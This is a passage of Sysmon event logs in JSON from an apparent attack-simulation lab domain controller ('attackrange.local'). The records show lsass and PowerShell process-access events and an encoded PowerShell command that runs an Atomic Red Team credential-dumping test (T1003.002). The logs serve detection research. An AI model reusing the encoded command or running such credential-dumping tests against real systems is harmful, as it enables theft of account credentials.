accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.305\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nTargetProcessId: 5076\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.305","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","TargetProcessId":"5076","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a6a54|C:\\Windows\\System32\\RPCRT4.dll+1129f|C:\\Windows\\system32\\lsasrv.dll+25add|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4940,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.305\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010F9530000}\r\nSourceProcessId: 860\r\nSourceThreadId: 988\r\nSourceImage: C:\\Windows\\system32\\lsass.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nTargetProcessId: 5076\r\nTargetImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nGrantedAccess: 0x1478\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.305","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010F9530000}","SourceProcessId":"860","SourceThreadId":"988","SourceImage":"C:\\Windows\\system32\\lsass.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","TargetProcessId":"5076","TargetImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","GrantedAccess":"0x1478","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\lsasrv.dll+25d17|C:\\Windows\\system32\\lsasrv.dll+26ded|C:\\Windows\\system32\\lsasrv.dll+25b95|C:\\Windows\\SYSTEM32\\SspiSrv.dll+11a2|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":4941,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.671\r\nProcessGuid: {90617006-415F-5F2D-0000-0010869A0700}\r\nProcessId: 3340\r\nImage: C:\\Windows\\System32\\HOSTNAME.EXE\r\nFileVersion: 10.0.14393.0 (rs1_release.160715-1616)\r\nDescription: Hostname APP\r\nProduct: Microsoft® Windows® Operating System\r\nCompany: Microsoft Corporation\r\nOriginalFileName: hostname.exe\r\nCommandLine: \"C:\\Windows\\system32\\HOSTNAME.EXE\"\r\nCurrentDirectory: C:\\Users\\Administrator\\\r\nUser: ATTACKRANGE\\Administrator\r\nLogonGuid: {90617006-415E-5F2D-0000-002024580700}\r\nLogonId: 0x75824\r\nTerminalSessionId: 0\r\nIntegrityLevel: High\r\nHashes: MD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E\r\nParentProcessGuid: {90617006-415F-5F2D-0000-001026810700}\r\nParentProcessId: 5076\r\nParentImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nParentCommandLine: \"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.671","ProcessGuid":"{90617006-415F-5F2D-0000-0010869A0700}","Image":"C:\\Windows\\System32\\HOSTNAME.EXE","FileVersion":"10.0.14393.0 (rs1_release.160715-1616)","Description":"Hostname APP","Product":"Microsoft® Windows® Operating System","Company":"Microsoft Corporation","OriginalFileName":"hostname.exe","CommandLine":"\"C:\\Windows\\system32\\HOSTNAME.EXE\"","CurrentDirectory":"C:\\Users\\Administrator\\","User":"ATTACKRANGE\\Administrator","LogonGuid":"{90617006-415E-5F2D-0000-002024580700}","LogonId":"0x75824","TerminalSessionId":"0","IntegrityLevel":"High","Hashes":"MD5=1088BA1BF7CDDFF61ECC51BC0C02FDEF,SHA256=B8DA5A3AE4371E63DFD2F468E29CC23AA6F98A6A357A67955996F8F61E58FBA1,IMPHASH=D210D728CB9D45B4D1827BCE52F7EC6E","ParentProcessGuid":"{90617006-415F-5F2D-0000-001026810700}","ParentProcessId":"5076","ParentImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","ParentCommandLine":"\"powershell.exe\" -noninteractive -encodedcommand WwBDAG8AbgBzAG8AbABlAF0AOgA6AEkAbgBwAHUAdABFAG4AYwBvAGQAaQBuAGcAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFQAZQB4AHQALgBVAFQARgA4AEUAbgBjAG8AZABpAG4AZwAgACQAZgBhAGwAcwBlADsAIABJAG0AcABvAHIAdAAtAE0AbwBkAHUAbABlACAAIgBDADoAXABBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAFwAaQBuAHYAbwBrAGUALQBhAHQAbwBtAGkAYwByAGUAZAB0AGUAYQBtAFwASQBuAHYAbwBrAGUALQBBAHQAbwBtAGkAYwBSAGUAZABUAGUAYQBtAC4AcABzAGQAMQAiACAALQBGAG8AcgBjAGUACgBJAG4AdgBvAGsAZQAtAEEAdABvAG0AaQBjAFQAZQBzAHQAIAAiAFQAMQAwADAAMwAuADAAMAAyACIAIAAtAEcAZQB0AFAAcgBlAHIAZQBxAHMA","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4942,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-415F-5F2D-0000-001026810700}\r\nSourceProcessId: 5076\r\nSourceThreadId: 4964\r\nSourceImage: C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010869A0700}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c0e82eb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589aa9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589645|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-415F-5F2D-0000-001026810700}","SourceProcessId":"5076","SourceThreadId":"4964","SourceImage":"C:\\Windows\\System32\\WindowsPowerShell\\v1.0\\powershell.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010869A0700}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c0e82eb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5a80fb|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b760|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b58b5f1|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b57d576|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589aa9|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589645|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b5893c5|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b589096|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6c03a4ab|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System.Manaa57fc8cc#\\1452176626224b76c22f0910c41e0ead\\System.Management.Automation.ni.dll+6b549c2c","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4943,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 760\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-415F-5F2D-0000-0010869A0700}\r\nTargetProcessId: 3340\r\nTargetImage: C:\\Windows\\system32\\HOSTNAME.EXE\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"760","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-415F-5F2D-0000-0010869A0700}","TargetProcessId":"3340","TargetImage":"C:\\Windows\\system32\\HOSTNAME.EXE","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4944,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:56:15.665","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"600","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:56:16","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:56:15","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":4945,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:56:15.665\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 600\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 